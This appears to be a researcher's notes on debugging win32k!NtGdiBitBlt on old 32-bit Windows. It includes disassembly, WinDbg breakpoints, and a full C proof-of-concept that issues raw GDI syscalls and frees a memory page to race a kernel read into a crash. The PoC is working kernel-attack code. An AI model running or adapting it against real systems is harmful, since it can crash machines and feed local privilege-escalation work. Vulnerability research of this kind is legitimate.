bf809a6b 03f3            add     esi,ebx

bf809a6d 50              push    eax

bf809a6e 8d4dd8          lea     ecx,[ebp-28h]

At win32k!NtGdiBitBlt+0x81:, it accesses user mode memory. I thought if I release that page, it will lead to a crash.

I use a poc which calls syscall NtGdiBitBlt directly from user mode. It's a poc for another vulnerability on win7 x86, but anyway.

That's the code:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93

/* * compile: * cl.exe bug474.cpp user32.lib gdi32.lib shell32.lib */ #include <stdio.h> #include <tchar.h> #include <Windows.h> #include <time.h> #include <conio.h> HWND notepad(LPCSTR name) { char filename[1024], title[1024]; FILE *f=0x0; sprintf_s(filename, 1024, "%s.txt", name); DWORD rc = fopen_s(&f, filename, "w"); if(rc!=0) { printf("[-] failed to create temporary text file\n"); } fclose(f); HINSTANCE inst = ShellExecuteA(0x0, "open", "notepad.exe", filename, 0x0, SW_SHOW); if(inst < (HINSTANCE)33) { printf("[-] failed to start notepad\n"); } while(1) { sprintf_s(title, 1024, "%s - Notepad", name); HWND hwnd = FindWindowA(0x0, title); if(hwnd) { return hwnd; } sprintf_s(title, 1024, "%s.txt - Notepad", name); hwnd = FindWindowA(0x0, title); if(hwnd) { //printf("[-] failed to retrieve handle to notepad window\n"); //return 0x0; return hwnd; } } return 0x0; } __declspec(noinline) int __stdcall NtGdiSetLayout(HDC hdc, DWORD d0, DWORD d1) { __asm { push d1 push d0 push hdc push 0x0 mov eax, 0x1123 mov edx, 0x7ffe0300 call dword ptr [edx] add esp, 0x10 } } __declspec(noinline) int __stdcall NtGdiBitBlt(HDC hdc, DWORD dw1, DWORD dw2,DWORD dw3,DWORD dw4,HDC hdc2,DWORD dw6,DWORD dw7, DWORD dw8) { __asm { push dw8 push dw7 push dw6 push hdc2 push dw4 push dw3 push dw2 push dw1 push hdc push 0x0 mov eax, 0x100d //xp sp3 0x100d mov edx, 0x7ffe0300 call dword ptr [edx] add esp, 0x30 } } int _tmain(int argc, _TCHAR* argv[]) { HDC hdc1 = CreateDCA(0,"Microsoft XPS Document Writer", 0, 0); printf("[-] hdc1: %08x\n", hdc1); NtGdiSetLayout(hdc1, 0x6d, 0xc5abb63); HWND hwnd1 = notepad("test1"); printf("[-] hwnd1: %08x\n", hwnd1); HDC hdc2 = GetDC(hwnd1); printf("[-] hdc2: %08x\n", hdc2); _getch(); BOOL bResult = VirtualFree((LPVOID)0x1d90000, 0, MEM_RELEASE); if (FALSE == bResult) { printf("VirtualFree fail. %d\n", GetLastError()); } NtGdiBitBlt(hdc1, 0, 0xae, 0x4c, 0x1a, hdc2, 0xb2, 0x47, 0x330008); }

Set a conditional breakpoint, because explorer.exe has a lot of NtGdiBitBlt.

bp  /p 815ec1f8 win32k!NtGdiBitBlt

After hit, step to

win32k!NtGdiBitBlt+0x81:

bf8099c4 8b896c010000    mov     ecx,dword ptr [ecx+16Ch]

At this point, ecx points to somewhere above 0x1d90000, this is specific to each process and even each run I guess. But I run many times it's always located at page 0x1d90000. So I decided to release this page to trigger a crash.

It turned out, 0x1d90000 was not valid until NtGdiBitBlt, after step into it, it shows that first call to win32k!XDCOBJ::XDCOBJ allocated this range of memory.

bf809991 e8dcaaffff      call    win32k!XDCOBJ::XDCOBJ (bf804472)

So it became a race condition for a crash. Between XDCOBJ::XDCOBJ and  "mov     ecx,dword ptr [ecx+16Ch]", if the page is released, it will lead to a crash. That's my guess.

When I set 0x1d90000's pte to invalid.  "mov     ecx,dword ptr [ecx+16Ch]" this instruction actually passed, I used F10(step over) and windbg stops at the next instruction. That's weird because if someone caught this exception, it won't stop at the next instruction.  After I let go of the windbg, VM(I run os in VMWare) runs for a few seconds and froze. I tested it twice to make sure it did freeze.

Could be something wrong with vm emulation.